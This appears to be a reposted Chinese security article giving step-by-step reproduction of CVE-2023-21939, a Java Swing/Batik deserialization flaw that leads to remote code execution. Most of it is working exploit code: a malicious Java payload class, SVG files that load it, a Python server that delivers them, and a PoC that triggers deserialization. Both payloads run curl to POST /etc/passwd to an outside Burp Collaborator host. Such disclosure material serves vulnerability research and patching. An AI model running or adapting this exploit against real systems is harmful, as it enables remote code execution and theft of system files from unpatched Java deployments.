漏洞摘要:Oracle Java SE、Oracle Java SE 的 Oracle GraalVM 企业版产品(组件:Swing)中存在漏洞。受影响的受支持版本包括 Oracle Java SE:8u361、8u361-perf、11.0.18、17.0.6、20;Oracle GraalVM 企业版:20.3.9、21.3.5 和 22.3.1。易于利用的漏洞允许未经身份验证的攻击者通过 HTTP 进行网络访问来危害 Oracle Java SE、Oracle GraalVM 企业版。成功攻击此漏洞可能会导致对某些 Oracle Java SE、Oracle GraalVM Enterprise Edition 可访问数据进行未经授权的更新、插入或删除访问。注意:此漏洞适用于 Java 部署,通常在运行沙盒 Java Web Start 应用程序或沙盒 Java 小程序的客户端中,这些部署加载和运行不受信任的代码(例如,来自互联网的代码)并依赖 Java 沙箱来确保安全。还可以通过使用指定组件中的 API(例如,通过向 API 提供数据的 Web 服务)来利用此漏洞。
重现步骤:
1.验证 Oracle Java SE 版本(必须是 8u361、8u361-perf、11.0.18、17.0.6 或 20):
user@hostname:~$ java -version
2.下载有漏洞的 Apache Batik Swing 库(版本 1.15):
user@hostname:~$ wget https://archive.apache.org/dist/xmlgraphics/batik/binaries/batik-bin-1.15.zip
3.解压易受攻击的 Apache Batik Swing 库的内容:
user@hostname:~$ unzip batik-bin-1.15.zip
4.创建一个名为的恶意Java文件Payload.java
import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;
import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;
public class Payload implements EventListenerInitializer {
public Payload() {
}
public void initializeEventListeners(SVGDocument document) {
SVGSVGElement root = document.getRootElement();
EventListener listener = new EventListener() {
public void handleEvent(Event event) {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "curl -X POST -d @/etc/passwd http://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oastify.com/"});
} catch (Exception e) {
}
}
};
root.addEventListener("SVGLoad", listener, false);
}
}
5.编译恶意Java负载:
user@hostname:~$ javac -cp 'batik-1.15/lib/*' Payload.java
6.将有效负载字节码转换为 JAR 文件:
user@hostname:~$ jar cf Payload.jar 'Payload$1.class' Payload.class
7.创建两个包含恶意 SVG 代码的XML 文件 (1.xml和2.xml)(请参阅下面的代码)。
1.xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="http://localhost:8099/Payload.jar"/>
<text>anything</text>
</svg>
2.xml
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<circle cx="50" cy="50" r="50" fill="green" onload="showFrame()"/>
<script type="text/ecmascript">
importPackage(Packages.java.lang);
function showFrame() {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "curl -X POST -d @/etc/passwd http://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oastify.com/"});
}
</script>
</svg>
8.创建一个 Python 服务器 ( python_server.py) 以通过 HTTP 提供文件(请参阅下面的代码)。
from http.server import SimpleHTTPRequestHandler, HTTPServer
import socketserver
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/1.xml':
self.send_response(200)
self.send_header('Content-Type', 'application/xml')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
with open('1.xml', 'rb') as f:
self.wfile.write(f.read())
elif self.path == '/2.xml':
self.send_response(200)
self.send_header('Content-Type', 'application/xml')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
with open('2.xml', 'rb') as f:
self.wfile.write(f.read())
elif self.path == '/Payload.jar':
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
with open('Payload.jar', 'rb') as f:
self.wfile.write(f.read())
def run(server_class=HTTPServer, handler_class=CustomHandler, port=8099):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f"Starting server on port {port}")
httpd.serve_forever()
if __name__ == '__main__':
run()
9.运行Python服务器:
user@hostname:~$ python3 python_server.py
10.创建一个名为(参见下面的代码)的 Java 文件PoC.java。
import javax.swing.*;
import java.lang.reflect.Field;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class PoC {
public Object getObject(int option) throws Exception {
JLabel label = new JLabel();
// OLD JDK SET TRUE/FALSE
// NEW JDK SET FALSE
label.putClientProperty("html.disable", false);
Field textField = label.getClass().getDeclaredField("text");
textField.setAccessible(true);
String htmlContent = "<html>" +
"<object classid="org.apache.batik.swing.JSVGCanvas">" +
"<param name="URI" value="http://localhost:8099/" + option + ".xml">" +
"</object>" +
"</html>";
textField.set(label, htmlContent);
return label;
}
public static void main(String[] args) throws Exception {
PoC rce = new PoC();
// Option 1: JDK + Apache XML Graphics
Object t1 = rce.getObject(1);
byte[] d1 = SerUtil.serialize(t1);
SerUtil.deserialize(d1);
// Option 2: JDK + Apache XML Graphics + Mozilla Rhino
/* Object t2 = rce.getObject(2);
byte[] d2 = SerUtil.serialize(t2);
SerUtil.deserialize(d2); */
}
static class SerUtil {
public static byte[] serialize(Object var) throws Exception {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(var);
oos.flush();
bao.flush();
return bao.toByteArray();
}
public static Object deserialize(byte[] var) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(var));
return ois.readObject();
}
}
}
11.编译并运行Java文件来演示该漏洞:
user@hostname:~$ javac -cp 'vuln/lib/*' PoC.java && java PoC
12.观察 Burp Collaborator 中执行的命令输出。
参考:
https://github.com/Y4Sec-Team/CVE-2023-21939
https://gist.github.com/win3zz/308c6567e38e096c7071d3564ef164ad
原文始发于微信公众号(Ots安全):CVE-2023-21939 - Oracle Java SE代码执行 - 概念证明
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论